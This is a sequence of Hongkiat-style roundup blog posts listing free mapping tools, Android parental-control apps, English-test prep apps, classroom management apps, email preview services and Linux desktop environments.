
Click2Map is an easy-to-use mapping tool which allows you to create customized maps according to your needs. Click2Map conveniently lets you place built-in markers from their huge library to make your map more informative and interactive.

You can also add lines and polygons on your maps for various purposes such as to indicate a particular geographical area. Once you are done with creating your map, you can download your newly-designed map and publish it on your website/blog at no charge.

ZeeMaps

ZeeMaps enables you to design and publish your interactive maps without having to sign up. By using ZeeMaps, you can place customizable markers and highlight countries, states and cities too.

A cool feature is that you can add video, audio or sound clips along with the markers. In addition to that, you can add customizable search fields for your map as well. ZeeMaps is offering free as well as paid versions at different prices which you can check out here.

MapTiler

MapTiler is a mapping tool with lots of rich features. The features are top-notch as this tool is used by Google, NASA, Apple, and other big organizations. With MapTiler, you can effectively render the geodata into map tiles that are highly suitable for Google Maps API mashups, MapQuest, Microsoft Bing, and Google Earth amongst many others.

You can use MapTiler on Windows, Linux, and Mac making this tool quite versatile. If this sounds interesting to you, there’s a free version that you can try out as well as 4 paid versions with different prices and different bundles of features.

HeatmapTool

HeatmapTool is a nice and easy tool for making attractive heat maps from a CVS file. You can scale the heat map as you like and conveniently update it in real-time. You can also cool down the heat map by dimming it accordingly and sharpen or soften the edges of the heated area as well.

Another handy feature is that you can create an overlay for the Google Maps API. Like the other tools, this one is free but if you’d like more advanced features, you can check the pricing here.

GmapGIS

GmapGIS is a simple tool which is used for mapping purposes. You can easily draw lines, shapes, add labels, add markers and measure the distance on maps without using a Google account.

Once you are done drawing and labeling a map, a link is automatically generated for your map which you can share with others. With GmapGIS, you can choose to save the map in a KML format or view it in Google Earth.

The post 10 Free Tools to Create Your Own Maps appeared first on Hongkiat.

In this roundup, we are featuring some free Android apps to monitor your kids’ smartphone activities. From allowing restrictions of online sites to the monitoring of their text or call usage, app downloads, location, and other activities, these apps cover most of the important features. Let’s read on to know more.

If you are on iOS, check out this post on 5 ways to make your iOS devices more kid-friendly and child-safe, and if you are on Mac, we also have a list of 10 Parental Control Apps you can try out.

1. Kids Zone Parental Controls

Kids Zone is another handy parental control app. The chore mode gives you the capability to set a time limit that determines when your child can use the smartphone.

Other notable features include relocking the device after rebooting, blocking phone calls as well as text messages and Internet access, blocking apps installation and in-app purchasing, and various other features.

2. Kids Place – Parental Control

Kids Place is a comprehensive parental control app. Some of its handy attributes include a customized home screen showcasing approved apps only, the ability to prevent your child from downloading or buying new apps as well as a time feature to specify a schedule for using the smartphone.

On top of that, it’s also capable of blocking incoming calls and disabling all wireless signals. When you install and use the app for the first time, you have to first set a PIN for security purposes.

3. KuuKla Parental Control

KuuKla Parental Control App helps you tailor your Android device into one which is suitable for your child. It gives you the opportunity to select the applications that you want to appear for use on the home screen while disabling access to all other applications. It also allows you to define a schedule for using apps and the Internet on the smartphone.

Once you’ve download the app and registered your email address, a PIN code will be sent to the email address provided which can only be used by you to control the device.

4. SecureTeen Parental Control

Worried about your teen being exposed to mature or adult content online? Try SecureTeen Parental Control which can filter out most if not all adult content. SecureTeen allows you to monitor your children’s online activities, applications they download and their location.

If you don’t like an app that’s installed on your child’s phone then SecureTeen allows you to shut it down, even if it’s still installed. SecureTeen can be managed remotely online by logging into the website.

5. Screen Time Parental Control

As the name indicates, Screen Time is a helpful app which lets you manage how much ‘screen time’ your kids get. The key features of Screen Time includes blocking different apps according to the time.

For example, you can block only games at bed time but still allow readings apps then choose to block all apps when it’s time for lights out. Screen Time also allows you to set a daily time limit on the apps you want to restrict access to.

Bonus: FamiSafe

FamiSafe is one of the most feature-rich parental control apps in the market. It enables you to track your child’s every online activity be it online or offline and supports a whole gamut of apps and social media platforms that it can track.

Some of FamiSafe’s most interesting features include location tracking, monitoring messages, browser history, and overall device usage, blocking suspicious content, and creating web filters.

You can also use the app to set a screen time schedule for your kids and block inappropriate content from web, social media, and phone’s own gallery.

The post 5 Free Android Apps to Monitor Your Kids’ Smartphones Activities appeared first on Hongkiat.

Regardless of which one, facing any one of these tests would require some form of study. After all, anyone would want to try and get the best score they can. That is why we’ve gathered for you the Top 15 Android apps that can help you prepare for the IELTS, TOEFL, or GRE tests.

IELTS (International English Language Testing Service)

IELTS Skills

This app will help you prepare for the IELTS by covering all four sections: reading, listening, speaking, and writing. The app provides sample exams, practice materials, and interactive tasks.

It contains materials from the best-selling IELTS books of Sam McCarter. You can also test yourself and see your score via an interactive ‘Can Do’ statement section.

IELTS Word Power

Created by British Council for test-takers to enrich their vocabulary. this app assists you by helping build your vocabulary for the IELTS test, to locate your closest British Council test center, and to learn more about IELTS.

IELTS Vocabulary Flashcards

This app can help you learn stuff related to IELTS directly via your Android Device. It contains 2000 premade flashcards, slideshows, quizzes, a method to create your flashcards, and much more to make IELTS learning faster and more effective.

IELTS Tips

This app that would prove to be useful while studying for the IELTS. It has crucial words that you need to remember how to spell correctly, a way for you to calculate your scores, advice from IELTS test-takers, as well as the top 10 tips for listening, reading, writing, and speaking.

IELTS Essay

IELTS Essay contains 200 essays on different topics that will help you to improve your English vocabulary.

It also enables you to understand what kind and style of language you are supposed to use in the writing section of the exam.

TOEFL (Test of English as a Foreign Language)

TOEFL iBT Preparation

This app covers vocabulary for all the areas of the TOEFL test with a clear and distinct explanation for each word. It contains words with audio playback, multiple-choice questions, group choice tests, word choice tests, and much more.

TOEFL vocabulary flashcards

This app contains 1600 premade flashcards from 2 categories (vocabulary and reading skills) for your TOEFL preparation. You can also make your flashcards, slideshows, take quizzes, and much more to learn excitingly.

TOEFL Test Incorrect Words

This is an app that will help you to identify and rectify the wrong words. This app contains 1670 questions of false words to practice with.

Visual TOEFL

Visual TOEFL is an app that functions as a dictionary of the most common TOEFL words with their picture definitions. The picture for each word will help you to memorize and remember these words visually. Along with the image, each word is explained in written text with examples as well.

TOEFL Essay

TOEFL Essay is a helpful app while preparing for your exam. It contains 60 TOEFL essays covering different vital topics that will assist you in improving your English vocabulary.

It also gives you an idea of the type and level of language that you should adopt while attempting the writing section of TOEFL.

GRE (Graduate Record Examination)

GRE Prep & Practice

The GRE Prep & Practice app is designed based on the new syllabus so that you can study and test yourself quickly on your mobile phone.

The app includes essential notes, large sets of practice questions along with their answers and flashcards to enhance and speed up your learning. The app covers verbal reasoning, maths, and the analytical writing skills section in complete detail.

GRE Flashcards

This app contains 1000 of the most important GRE words (in the form of flashcards) picked by an expert GRE tutor. Each flashcard includes the definition as well as an example sentence for each word.

There are various decks of flashcards with different levels of difficulty. You can also track your progress as you study.

GRE Tests

GRE Tests is a handy app to prepare and test your knowledge for two particular sections (verbal and quantitative reasoning) of the GRE.

The app has a user-friendly interface, and it allows you to review your attempted tests from the test history function. It provides flashcard support, as well.

Mnemonic Dictionary

The Mnemonic Dictionary is based on this technique of mnemonics and gives you access to hundreds of words with their meanings, synonyms, example sentences, and memory aids.

GRE Math Formulas

The GRE Math Formulas covers formulas from all the topics of the quantitative section of the GRE; this means that whenever you have the time, you can have a look at them rather than bringing your notes with you.

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The post 15 Android Apps For IELTS, TOEFL & GRE Preparation appeared first on Hongkiat.

In this post we will be looking at 8 apps tech savvy teachers can use to better manage their classrooms. These apps give the teachers a leg up in helping to keep track and be aware of each of their student’s progress, to help them get the students more actively involved in class, to better plan and create their lessons and a whole lot more.

Most (not all) of these apps are available for free, and most (again, not all) are available as mobile apps (for Android, iOS and beyond). If you have used any other classroom management tool, do let us know in the comments.

Class DOJO

Class DOJO is a very helpful tool for teachers to gather and generate data on the behavior of students. This information is shared in real time with the administration and parents in order to update them quickly about the progress and status of a student in class.

By using this tool, a teacher has a number of predefined behavior options under the categories of positive and negative behaviors. A teacher can also add new behavior options to the list as well.

Every time a teacher clicks on a positive or negative behavior option of a student, a +1 or -1 is added to the student profile in that class.

The app also provides a secure communication method for teachers to send feedback about a student to their parents, similar to a continuous progress report on how the children are doing. The app is free and also available on Android and iOS.

Google Classroom

Google Classroom for anyone with a Google Apps for Education account. It is very easy to setup and to add participants. With Google Classroom, your students don’t have to be in a physical classroom to receive your assignements; all they need their phone.

Create paperless assignments for your class to solve, then grade their submissions on the app itself.

Students not only can find all their homework in the same place, but also be more organized when prioritizing their homework. Changes can still be made to the assignments before the given deadline.

Graded assignments can also carry comments by the teachers to help students improve.

Because of the nature of the medium, assignments can involve sharing links, recording media, making videos and more. Google Classroom is available for free to schools. There is an Android and an iOS app version available.

Socrative

Socrative is an instant response system for students. The teacher can design a quiz and release it to the students, and the students can use their phones to input their answers.

Their answers will be displayed to the teacher in real-time, allowing them to have an in-depth understanding of how well all of the students in the class is grasping the concept tested.

Quizzes come in multiple-choice question, True or False, or short answers, the type of quick questions one can easily enter via mobile device. This helps teachers gather feedback on a lecture at then end of a session, aka Exit Tickets. The quizzes can also be shared among the teachers.

This free app is available in two forms, one app for the teacher, and another for the student. Both versions are supported on multiple platforms (iOS, Android, Windows Phone, Amazon, Chrome app). In June 2014, Socrative was acquired by Mastery Connect.

Plickers

If you teach a class of students who do not have their own mobile devices, then Plickers is a great alternative. It allows teachers to conduct formative assessments using coded cards, the only mobile device needed is the teacher’s own smartphone or tablet.

The app can be used to generate multiple-choice questions before class starts. During class, teachers can ask a question and students are asked to hold up their answer.

With a quick scan with the app and the camera on the teacher’s phone, he or she can get an instant tabulation of everyone’s answer in class.

More impressively, the app can tabulate which student gave which answer, so the teacher can know if everyone has understood the topic of the day. Everyone’s answer will then be depicted on the board. It is available for free, on Android or iOS

Moodle

Moodle is an open-source PHP-based web application which is mainly used for producing the Internet-based online courses that can be accessed by teacher or students anywhere.

There are different learning modes such as instructor-led, self-paced, a blend of both, or entirely online.

Moodle also allows the embedding of assignments and learning material from other websites as well. Teachers can use advance grading methods to maintain gradebook for exams and can use different markers to assess the assignments. It can be used at university level or in schools.

Moodle now has 66 Moodle partners in 43 countries. It is available as an Android and an iOS app. Try out the Moodle demo here.

LearnBoost

LearnBoost is an effective and easy to use tool which can be used to manage a classroom.

Apart from regular features in a classroom management tool such as maintaining a gradebook, keeping attendance and generating progress reports of students, LearnBoost allows teachers to create multimedia lesson (text, images and video) plans.

A teacher can also view the attendance of students enrolled in a class either in traditional list view or visual seating chart view. LearnBoost provides the option to enable parent and student accounts with a customizable view. The seamless integration of LearnBoost with Google Apps make it even easier for a teacher to manage a classroom.

Kathy Schrock’s Bloomin’ Apps

Kathy Schrock is an educational technologist. She compiled a collection of apps that is organized based on Bloom’s Taxonomy (and the Revised version) to help teachers more appropriately use these apps for different skill enhancement purposes. The apps are categorized for the iPad, Android, Google and Web 2.0

The post 7 Classroom Management Apps for Tech Savvy Teachers appeared first on Hongkiat.

There are various email newsletter tools that offer testing and rendering services with different features, sizes and pricing plans. These tools allow emails to be previewed in various popular environments and inboxes to get an idea of how they would look. Here are 7 premium services to help you get started.

Recommended Reading: How to Create and Send Email Newsletter For Free

1. Email on Acid

Email on acid is a famous email testing and previewing software which allows users to preview an email on over 112 combinations of popular email clients and mobile phones. Also included is a spam test to identify which emails go to the spam folder, and code analysis to check the support of email clients for each line of code.

Email marketers will also be able to benefit from their library of tips and tricks where they also address identified bugs and their solutions.

[Price: 7-day free trial; Premium plans starting from $45/mth]

2. Litmus

Litmus comes with an interactive and real-time design with all required email previewing tools. It runs comprehensive testing on various aspects such as color blindness test, no-image view, plain text check, mobile preview and more.

This tool also runs link validation, code analysis, optimizes your email subject line for you and works well with your existing emailing software.

[Price:7-day free trial; Premium plans start from $79/mth]

3. IBM Email Optimization

IBM Email Optimization (formerly known as Unica email optimization) is a noteworthy service to design and measure the efficiency of emails to be sent. Aside from previewing emails in environments such as AOL, yahoo, Gmail and mobile devices, IBM email optimization also lets you know if your IPs are blacklisted on any of the email server.

It also lets you test how the images in the email will appear at the receiving side. Though this software is premium but it could not be purchased online.

[Price: Not Listed]

4. Previewmyemail

An email testing and previewing service which supposedly takes real screenshots of emails in different email clients both mobile and desktop then stores them in a central database hence ensuring no data gets lost.

The service enables to preview an email over 19 desktop email apps, 25 web based email apps and 4 mobile email apps.

[Price: Premium plans start from $49/mth]

5. Contactology

Contactology is the simplest to use service in this list because at the site, you are presented with a 3-step guide for the email simulation feature of the complete software package. The full-fledged service covers email creation, analytics and optimization.

Alongside email preview on more than 30 different clients (including mobile), Contactology also has features to help you determine the quality score for your email contents, automatic (triggered) messaging and more.

[Price: Free Trial; Premium plans start at $19.95/mth]

6. Inbox Preview – CampaignMonitor

Inbox Preview is a cost-effective email previewing service with an interesting costing strategy. But before we get to that, do know that with Inbox Preview, one can preview the email on more than 20 email clients including web-based, desktop and mobile.

It also comes with rigorous spam testing, a no-image view, and testing on different browser variations. Used by more than 400,000 companies, Campaign Monitor lets you try all its features and will only charge you once you start an email campaign.

[Price: Pay when you send – $5/campaign +$0.01/user; Monthly plans start from: $9/mth for 500 users.]

7. Lyris hq

Lyris HQ is a cloud-based integrated email software featuring email testing as one of the tools in the package. The product is built for enterprise scale digital marketing and have advanced delivery management console to optimize email reach and engagement.

The tool is really allows previews of emails in more than 30 different clients and cell phones, to check blacklisting of sender’s IP, and shows the results of past emails reaching the receiver’s inbox.

[Price: Not Listed]

The post 7 Premium Tools to Test & Preview Your Newsletter appeared first on Hongkiat.

If you’re unsure which Linux desktop environment is the most suitable for you, then don’t worry. We’ve put together 10 Linux desktop environments along with their features to assist you in selecting the best one for your needs.

Read Also:  10 Most Asked Questions About Linux

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• Turn generic English into Linux terminal commands
• 9 Linux commands & codes to be wary of
• Elementary OS Luna works like OS X
• 4 tips to make Elementary OS Luna more ‘Elementary’
• Operating Systems you may not have heard of (but should)

Cinnamon

Cinnamon is based on Gnome library files and designed for Linux Mint. It is an easy-to-use, powerful desktop environment that is flexible and combines the traditional layout with advanced features.

Cinnamon consists of 3 main things: a single panel at the bottom, a clock and system tray and various other things on the right, and the application menu on the left side of the screen. You can also customize the application menu by adding applications of your choice. To ensure that this runs smoothly, your machine should have a powerful graphics card and updated drivers.

Get Cinnamon here

GNOME 3.x

A few years back, GNOME (GNU Network Object Model Environment) was the most popular and widely used Linux desktop environment. The transition of GNOME to GNOME 2.x series brought simplicity and ease of use that attracted many Linux users to move to the GNOME 2.x series.

GNOME 3.x was introduced to provide easy access to all of your data by integrating it with online accounts. Some other important features offered by GNOME 3.x are Activities Overview, side-by-side windows to view several documents, and an easy way to deal with notifications comfortably.

Get GNOME here

KDE

KDE (K Desktop Environment) is one of the most popular Linux Desktop environments and also a contender for GNOME. It resembles the Windows Desktop, so if you want to experience a desktop similar to Windows OS, this is the option for you. While KDE comes with a visually intriguing GUI and powerful features, the combo makes it a resource-hungry desktop environment.

This means you may not be able to run it smoothly on older desktop/laptop computers with low hardware configurations.

Get KDE here

MATE

Despite its popularity with earlier versions, the simplistic design of GNOME 3 didn’t sit too well with many GNOME users. The Linux community decided to continue the development of GNOME 2, and designers came up with MATE. MATE offers a GNOME 2 environment with new features and improvements to assure users of an improved computing experience.

Get MATE here

LXDE

LXDE (Lightweight X11 Desktop Environment) is a fast-performing desktop environment. It’s designed for cloud systems that usually have low hardware configurations (less CPU power and less RAM) and older desktop/laptop systems.

Although it is a lightweight desktop environment, it still has a simple and attractive user interface. It also provides multi-language support, and on top of that, it supports standard keyboard shortcuts and allows tabbed file browsing, among other things.

Get LXDE here

Xfce

Fact: the abbreviation for Xfce doesn’t stand for anything. It’s a traditional desktop environment which is very lightweight but in terms of functions, it is similar to GNOME 2. Xfce has its own lightweight programs as well as some GNOME programs to provide a balance in between performance and functions.

Get Xfce here

Openbox

Openbox is a desktop environment which is lighter than LXDE and Xfce due to its minimalistic design and appearance. It is a highly configurable desktop environment with a bare desktop, making the loading process fast. Right-click anywhere on the desktop to open the application menu.

You can also combine the functionality of GNOME or KDE with the speed of Openbox to make your desktop faster and cleaner. Openbox is ideal for Linux users with low power systems.

Get Openbox here

Xmonad

Xmonad is actually a tiling window manager, which means instead of overlapping windows on your desktop, it will automatically arrange them in a non-overlapping order, leaving behind an organized desktop. It does not come with too much of a decorated user interface, which makes it a fast, user-friendly and stable desktop environment.

Get Xmonad here

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